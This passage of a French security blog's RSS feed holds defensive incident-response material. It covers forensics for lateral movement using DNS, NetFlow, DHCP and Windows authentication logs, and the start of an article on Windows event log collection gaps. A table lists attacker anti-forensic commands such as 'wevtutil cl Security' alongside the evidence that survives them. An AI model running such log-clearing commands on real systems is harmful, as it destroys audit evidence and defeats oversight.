35%)">=</span><span class="token builtin" style="color:hsl(212, 92%, 35%)">str</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"\n[*] Chronologie complète exportée vers lateral_movement_timeline.json"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[*] Total événements : </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation">timeline</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[*] Sévérité HIGH : </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">sum</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation number" style="color:hsl(212, 92%, 35%)">1</span><span class="token string-interpolation interpolation"> </span><span class="token string-interpolation interpolation keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token string-interpolation interpolation"> e </span><span class="token string-interpolation interpolation keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token string-interpolation interpolation"> timeline </span><span class="token string-interpolation interpolation keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token string-interpolation interpolation"> e</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'severity'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation"> </span><span class="token string-interpolation interpolation operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token string-interpolation interpolation"> </span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'HIGH'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-7--le-flux-dinvestigation--un-arbre-de-décision-pour-les-équipes-ir">Partie 7  Le Flux d'Investigation : Un Arbre de Décision pour les Équipes IR<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#partie-7--le-flux-dinvestigation--un-arbre-de-d%C3%A9cision-pour-les-%C3%A9quipes-ir" class="hash-link" aria-label="Direct link to Partie 7  Le Flux d'Investigation : Un Arbre de Décision pour les Équipes IR" title="Direct link to Partie 7  Le Flux d'Investigation : Un Arbre de Décision pour les Équipes IR" translate="no">​</a></h2>
<!-- -->
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="71-référence-rapide--commandes-ir-par-phase">7.1 Référence Rapide : Commandes IR par Phase<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#71-r%C3%A9f%C3%A9rence-rapide--commandes-ir-par-phase" class="hash-link" aria-label="Direct link to 7.1 Référence Rapide : Commandes IR par Phase" title="Direct link to 7.1 Référence Rapide : Commandes IR par Phase" translate="no">​</a></h3>
<p><strong>Phase 1  Collecte des Preuves (30 premières minutes)</strong></p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Sur l'hôte source suspect  collecter avant redémarrage ou arrêt</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">ipconfig /displaydns &gt; dns_cache_$(hostname).txt</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-DnsClientCache | Export-Csv dns_cache_structured_$(hostname).csv -NoTypeInformation</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Sur le serveur DHCP  exporter les baux actuels et les journaux</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Copy-Item "C:\Windows\System32\dhcp\DhcpSrvLog-*.log" "C:\IR\dhcp_logs\"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-DhcpServerv4Lease -ScopeId 10.10.0.0 -AllLeases |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object IPAddress, ClientId, HostName, AddressState, LeaseExpiryTime |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Export-Csv "C:\IR\dhcp_active_leases.csv" -NoTypeInformation</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Sur les contrôleurs de domaine  exporter les événements auth pour la fenêtre d'investigation</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$filter = @{LogName='Security'; Id=@(4624,4625,4648,4769,4776,4768,4771,4672);</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            StartTime=(Get-Date).AddDays(-7); EndTime=(Get-Date)}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-WinEvent -FilterHashtable $filter |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ForEach-Object { $_.ToXml() } |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Out-File "C:\IR\dc_auth_events_raw.xml"</span><br></span></code></pre></div></div>
<p><strong>Phase 2  Requêtes NetFlow (2 premières heures)</strong></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Sur le collecteur NetFlow  identifier toutes les connexions est-ouest depuis l'hôte suspect</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Remplacer 10.10.5.42 par l'IP de votre hôte compromis</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token assign-left variable" style="color:hsl(26, 100%, 29%)">SUSPECT</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token string" style="color:hsl(139, 66%, 32%)">"10.10.5.42"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token assign-left variable" style="color:hsl(26, 100%, 29%)">START</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token string" style="color:hsl(139, 66%, 32%)">"2025-11-14 00:00:00"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token assign-left variable" style="color:hsl(26, 100%, 29%)">END</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token string" style="color:hsl(139, 66%, 32%)">"2025-11-15 23:59:59"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">nfdump </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-R</span><span class="token plain"> /var/cache/nfdump/ </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-t</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"</span><span class="token string variable" style="color:hsl(26, 100%, 29%)">${START}</span><span class="token string" style="color:hsl(139, 66%, 32%)">-</span><span class="token string variable" style="color:hsl(26, 100%, 29%)">${END}</span><span class="token string" style="color:hsl(139, 66%, 32%)">"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-o</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"fmt:%ts,%te,%sa,%da,%dp,%pr,%byt,%pkt,%flg"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"src ip </span><span class="token string variable" style="color:hsl(26, 100%, 29%)">${SUSPECT}</span><span class="token string" style="color:hsl(139, 66%, 32%)"> and dst net 10.0.0.0/8"</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&gt;</span><span class="token plain"> suspected_host_flows.csv</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Trouver toutes les destinations internes uniques</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">awk</span><span class="token plain"> -F</span><span class="token string" style="color:hsl(139, 66%, 32%)">','</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'NR&gt;1 {print $4}'</span><span class="token plain"> suspected_host_flows.csv </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">sort</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-u</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&gt;</span><span class="token plain"> unique_destinations.txt</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token builtin class-name" style="color:hsl(26, 100%, 29%)">echo</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Cibles internes uniques : </span><span class="token string variable" style="color:hsl(26, 100%, 29%)">$(</span><span class="token string variable function" style="color:hsl(256, 54%, 50%)">wc</span><span class="token string variable" style="color:hsl(26, 100%, 29%)"> </span><span class="token string variable parameter variable" style="color:hsl(26, 100%, 29%)">-l</span><span class="token string variable" style="color:hsl(26, 100%, 29%)"> </span><span class="token string variable operator" style="color:hsl(212, 92%, 35%)">&lt;</span><span class="token string variable" style="color:hsl(26, 100%, 29%)"> unique_destinations.txt</span><span class="token string variable" style="color:hsl(26, 100%, 29%)">)</span><span class="token string" style="color:hsl(139, 66%, 32%)">"</span><br></span></code></pre></div></div>
<p><strong>Phase 3  Corrélation et Chronologie (heures 2-4)</strong></p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Recherche IP rapide contre les journaux DHCP (utilisation en ligne de commande)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">python3 dhcp_correlator</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">py \</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token plain">dhcp</span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token builtin" style="color:hsl(212, 92%, 35%)">dir</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">/</span><span class="token plain">path</span><span class="token operator" style="color:hsl(212, 92%, 35%)">/</span><span class="token plain">to</span><span class="token operator" style="color:hsl(212, 92%, 35%)">/</span><span class="token plain">dhcp</span><span class="token operator" style="color:hsl(212, 92%, 35%)">/</span><span class="token plain">logs \</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token plain">ip </span><span class="token number" style="color:hsl(212, 92%, 35%)">10.10</span><span class="token number" style="color:hsl(212, 92%, 35%)">.5</span><span class="token number" style="color:hsl(212, 92%, 35%)">.42</span><span class="token plain"> \</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token plain">time </span><span class="token string" style="color:hsl(139, 66%, 32%)">"2025-11-15 02:47:33"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Sortie : 10.10.5.42 à 2025-11-15 02:47:33 était LAPTOP-JSMITH (MAC: 00:1A:2B:...)</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-8--les-artefacts-qui-survivent-au-nettoyage-de-lattaquant">Partie 8  Les Artefacts qui Survivent au Nettoyage de l'Attaquant<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#partie-8--les-artefacts-qui-survivent-au-nettoyage-de-lattaquant" class="hash-link" aria-label="Direct link to Partie 8  Les Artefacts qui Survivent au Nettoyage de l'Attaquant" title="Direct link to Partie 8  Les Artefacts qui Survivent au Nettoyage de l'Attaquant" translate="no">​</a></h2>
<p>Les attaquants sophistiqués tentent de supprimer les preuves. Comprendre ce qui survit au nettoyage détermine si votre investigation peut se poursuivre après que l'attaquant a tenté d'effacer ses traces.</p>
<table><thead><tr><th>Action de l'Attaquant</th><th>Ce qui est Détruit</th><th>Ce qui Survit</th></tr></thead><tbody><tr><td><code>ipconfig /flushdns</code> sur la source</td><td>Cache DNS local</td><td>Journaux de requêtes serveur DNS, enregistrements DHCP, NetFlow</td></tr><tr><td><code>wevtutil cl Security</code> sur la cible</td><td>Journal Sécurité de la cible</td><td>Enregistrements 4769 du DC montrant le ticket de service vers la cible, NetFlow montrant la connexion</td></tr><tr><td>Supprimer les fichiers journaux DHCP</td><td>Journaux DHCP quotidiens</td><td>Base de données des baux actifs (<code>dhcp.mdb</code>), SIEM si les journaux ont été ingérés</td></tr><tr><td>Usurper l'adresse MAC</td><td>MAC correcte dans les journaux DHCP</td><td>MAC anormale absente de l'inventaire, événements de conflit IP (DHCP ID 24)</td></tr><tr><td>VPN / proxy via un autre hôte interne</td><td>IP source directe dans NetFlow</td><td>L'hôte intermédiaire montre un nombre élevé de connexions, DHCP montre la présence de l'intermédiaire</td></tr><tr><td>Désactiver NetFlow sur le commutateur</td><td>Données NetFlow futures</td><td>NetFlow historique d'avant l'événement de désactivation</td></tr><tr><td>Renommer l'ordinateur avant le déplacement latéral</td><td>Nom d'hôte dans DNS</td><td>La corrélation par adresse MAC reste possible, anciens enregistrements DNS PTR</td></tr></tbody></table>
<p><strong>L'artefact le plus résistant : NetFlow du commutateur cœur</strong></p>
<p>L'attaquant aurait besoin d'un accès administratif à votre infrastructure de commutation cœur pour détruire rétroactivement NetFlow. Dans la plupart des organisations, c'est un domaine administratif distinct des serveurs Windows. Même si l'attaquant nettoie tous les journaux Windows, les enregistrements de flux montrant les connexions restent sur le collecteur.</p>
<p><strong>Le deuxième plus résistant : journaux de requêtes du serveur DNS (si activé)</strong></p>
<p>Le nettoyage par l'attaquant des journaux sur les postes de travail et serveurs n'affecte pas les journaux de requêtes DNS sur le serveur DNS. Ceux-ci sont particulièrement précieux car ils capturent <strong>chaque nom d'hôte que l'attaquant a résolu</strong>, y compris la reconnaissance contre des hôtes auxquels il n'a jamais réussi à se connecter.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="résumé--la-matrice-de-corrélation">Résumé : La Matrice de Corrélation<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#r%C3%A9sum%C3%A9--la-matrice-de-corr%C3%A9lation" class="hash-link" aria-label="Direct link to Résumé : La Matrice de Corrélation" title="Direct link to Résumé : La Matrice de Corrélation" translate="no">​</a></h2>
<p>Quand vous avez un scénario IR et devez savoir quelles sources répondent à quelles questions, utilisez cette référence :</p>
<table><thead><tr><th>Question</th><th>Source Principale</th><th>Source Secondaire</th><th>Commande</th></tr></thead><tbody><tr><td>À quels hôtes X a-t-il parlé ?</td><td>NetFlow</td><td>Cache DNS</td><td><code>nfdump "src ip X and dst net internal"</code></td></tr><tr><td>Quel nom d'hôte possédait l'IP Y au moment T ?</td><td>Journaux DHCP</td><td>Enregistrements DNS PTR</td><td><code>resolve_ip(Y, T)</code> depuis dhcp_correlator.py</td></tr><tr><td>Quel compte a été utilisé pour la connexion ?</td><td>DC Sécurité 4624/4769</td><td>Cible 4624</td><td><code>Get-WinEvent ... Id 4624 -FilterXPath</code></td></tr><tr><td>Pass-the-hash a-t-il été utilisé ?</td><td>DC/Cible 4624 KeyLength=0</td><td>Motif port NTLM NetFlow</td><td>Champ KeyLength dans XML 4624</td></tr><tr><td>Quand l'attaquant est-il apparu pour la première fois ?</td><td>Premier événement Assign DHCP</td><td>Enregistrement le plus ancien NetFlow</td><td><code>nfdump earliest</code> + première vue DHCP</td></tr><tr><td>Quels hôtes ont été scannés mais non compromis ?</td><td>Flux SYN-only NetFlow</td><td>Cache DNS de la source</td><td>Analyse des drapeaux TCP dans nfdump</td></tr><tr><td>Quelles données ont été préparées/exfiltrées ?</td><td>Octets NetFlow, grands transferts hors heures</td><td>Cache DNS de l'hôte de préparation</td><td><code>nfdump "dst net internal and byt &gt; 100MB"</code></td></tr><tr><td>L'attaquant a-t-il modifié les journaux ?</td><td>Événement 1102, 4719 sur les DC</td><td>Anomalie de volume SIEM</td><td><code>Get-WinEvent ... Id 1102, 4719</code></td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="références">Références<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#r%C3%A9f%C3%A9rences" class="hash-link" aria-label="Direct link to Références" title="Direct link to Références" translate="no">​</a></h2>
<ul>
<li class="">Microsoft Docs : ID d'événements journaux serveur DHCP  référence complète des ID d'événements</li>
<li class="">Documentation nfdump : nfdump.sourceforge.io  syntaxe de requête complète</li>
<li class="">NSA : "Detect and Prevent Web Shell Malware"  méthodologie d'analyse NetFlow</li>
<li class="">SANS : Matériaux de cours "Network Forensics Analysis"  techniques d'analyse de flux</li>
<li class="">MITRE ATT&amp;CK T1021.002 (SMB/Windows Admin Shares)  documentation du mouvement latéral</li>
<li class="">MITRE ATT&amp;CK T1550.002 (Pass the Hash)  guide de détection</li>
<li class="">Cisco : Guide de configuration NetFlow  activation de NetFlow sur l'infrastructure Cisco</li>
<li class="">Microsoft Security : "Token Theft Playbook"  méthodologie de corrélation des journaux auth</li>
</ul>
<hr>
<p><em>Toutes les commandes et techniques décrites dans ce billet sont des procédures standard de réponse aux incidents et d'analyse forensique. Elles opèrent sur l'infrastructure et les journaux auxquels l'analyste a un accès administratif dans le cadre d'une investigation autorisée.</em></p>]]></content:encoded>
            <category>forensique-reseau</category>
            <category>reponse-incidents</category>
            <category>mouvement-lateral</category>
            <category>ingenierie-detection</category>
            <category>netflow</category>
            <category>dns-forensique</category>
        </item>
        <item>
            <title><![CDATA[Architecture des Journaux d'Événements Windows : Pourquoi Votre SIEM Manque Probablement 30% des Événements et Comment le Vérifier]]></title>
            <link>https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem</link>
            <guid>https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem</guid>
            <pubDate>Sat, 18 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Les 10 points de défaillance sur 4 couches où les événements Windows disparaissent silencieusement avant d'atteindre votre SIEM  et les scripts pour mesurer votre fidélité de collecte réelle.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>Un analyste signale une alerte suspecte de mouvement latéral. Vous consultez la chronologie de l'enquête. Il y a un écart de 47 minutes dans les événements de création de processus d'un serveur critique  exactement dans la fenêtre où l'attaquant s'est déplacé. L'EDR ne montre rien. Le SIEM ne montre rien. L'analyse forensique post-incident sur la machine locale révèle 6 800 événements qui n'ont jamais quitté le terminal. Le journal d'événements de sécurité s'est réécrit sur lui-même. L'abonnement WEF avait un bug de filtre. Le serveur WEC était sous charge. Personne ne l'a remarqué parce que personne ne mesurait. Ce scénario n'est pas hypothétique  c'est la cause racine la plus fréquente des lacunes de détection trouvées lors des revues post-incident, et il est presque entièrement évitable.</p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-cela-importe-plus-que-nimporte-quelle-règle-de-détection-que-vous-écrirez">Pourquoi Cela Importe Plus Que N'importe Quelle Règle de Détection Que Vous Écrirez<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#pourquoi-cela-importe-plus-que-nimporte-quelle-r%C3%A8gle-de-d%C3%A9tection-que-vous-%C3%A9crirez" class="hash-link" aria-label="Direct link to Pourquoi Cela Importe Plus Que N'importe Quelle Règle de Détection Que Vous Écrirez" title="Direct link to Pourquoi Cela Importe Plus Que N'importe Quelle Règle de Détection Que Vous Écrirez" translate="no">​</a></h2>
<p>Les équipes de sécurité investissent d'énormes efforts pour écrire des règles de détection, ajuster Sigma et élargir la couverture MITRE ATT&amp;CK. Ces efforts sont inutiles si les événements sous-jacents n'atteignent jamais votre SIEM.</p>
<p>L'hypothèse intégrée dans pratiquement chaque tableau de bord SIEM est que le pipeline de collecte d'événements fonctionne. Cette hypothèse n'est presque jamais testée, et quand elle échoue, elle échoue silencieusement. Il n'y a pas d'alerte pour "nous avons arrêté de recevoir des événements de création de processus de cet hôte." Il n'y a pas de tuile de tableau de bord qui devient rouge quand votre serveur WEC commence à perdre des événements sous charge. Il n'y a pas de notification automatique quand un conflit GPO annule silencieusement votre stratégie d'audit avancée aux valeurs par défaut.</p>
<p>Le résultat est ce que les ingénieurs en sécurité appellent parfois la couverture théâtrale  vous avez les règles, vous avez les tableaux de bord, vous avez la carte de chaleur ATT&amp;CK éclairée, mais en dessous se trouve une infrastructure de collecte avec de vraies lacunes qu'un attaquant qui comprend les mécanismes internes Windows ne déclenchera jamais d'alerte.</p>
<p>Cet article part des premiers principes  comment la journalisation des événements Windows fonctionne réellement en interne  à travers les modes de défaillance spécifiques qui causent la perte d'événements, et se termine avec des outils concrets et des scripts que vous pouvez exécuter cette semaine pour mesurer votre fidélité de collecte réelle.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-1--larchitecture--de-lévénement-noyau-à-lenregistrement-siem">Partie 1  L'Architecture : De l'Événement Noyau à l'Enregistrement SIEM<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#partie-1--larchitecture--de-l%C3%A9v%C3%A9nement-noyau-%C3%A0-lenregistrement-siem" class="hash-link" aria-label="Direct link to Partie 1  L'Architecture : De l'Événement Noyau à l'Enregistrement SIEM" title="Direct link to Partie 1  L'Architecture : De l'Événement Noyau à l'Enregistrement SIEM" translate="no">​</a></h2>
<p>Comprendre où les événements peuvent être perdus nécessite de comprendre le pipeline complet. La plupart des praticiens connaissent le modèle de haut niveau. Peu connaissent les mécanismes internes où les choses se cassent réellement.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="11-event-tracing-for-windows-etw--la-fondation-du-noyau">1.1 Event Tracing for Windows (ETW) : La Fondation du Noyau<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#11-event-tracing-for-windows-etw--la-fondation-du-noyau" class="hash-link" aria-label="Direct link to 1.1 Event Tracing for Windows (ETW) : La Fondation du Noyau" title="Direct link to 1.1 Event Tracing for Windows (ETW) : La Fondation du Noyau" translate="no">​</a></h3>
<p>Chaque événement Windows prend naissance dans Event Tracing for Windows (ETW)  le sous-système noyau de bas niveau qui sert de colonne vertébrale à toute la télémétrie Windows. ETW n'est pas la même chose que le Journal d'Événements Windows. C'est le mécanisme de transport sous-jacent.</p>
<!-- -->
<p>Dix points de défaillance distincts sur quatre couches. Un événement peut être perdu à n'importe lequel d'entre eux, sans notification à l'analyste de l'autre côté.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="12-le-tampon-circulaire-etw--là-où-les-événements-naissent-et-sont-perdus-en-premier">1.2 Le Tampon Circulaire ETW  Là Où les Événements Naissent et sont Perdus en Premier<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#12-le-tampon-circulaire-etw--l%C3%A0-o%C3%B9-les-%C3%A9v%C3%A9nements-naissent-et-sont-perdus-en-premier" class="hash-link" aria-label="Direct link to 1.2 Le Tampon Circulaire ETW  Là Où les Événements Naissent et sont Perdus en Premier" title="Direct link to 1.2 Le Tampon Circulaire ETW  Là Où les Événements Naissent et sont Perdus en Premier" translate="no">​</a></h3>
<p>ETW fonctionne en utilisant des tampons circulaires en mémoire  des régions de mémoire circulaires dans lesquelles les fournisseurs écrivent des événements. Les consommateurs (y compris le service Journal d'Événements Windows) lisent depuis ces tampons. Quand un tampon se remplit plus vite que les consommateurs peuvent le vider, les nouveaux événements écrasent les anciens en mémoire avant d'être écrits sur disque.</p>
<p>Ce n'est pas la même chose que l'écrasement du journal (qui se produit sur disque). Le débordement du tampon circulaire ETW est une perte silencieuse en mémoire qui ne laisse aucune trace des événements perdus  pas même un écart dans la séquence EventRecordID.</p>
<p>Les paramètres du tampon ETW sont configurables mais presque jamais ajustés :</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Afficher la configuration actuelle de la session ETW pour une session spécifique</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">logman query "EventLog-Security" -ets</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Exemple de sortie :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Name:                 EventLog-Security</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Status:               Running</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Root Path:            %systemdrive%\PerfLogs\Admin</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Segment:              Off</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Schedules:            On</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Segment Max Size:     100 MB</span><br></span><span class="token-line" 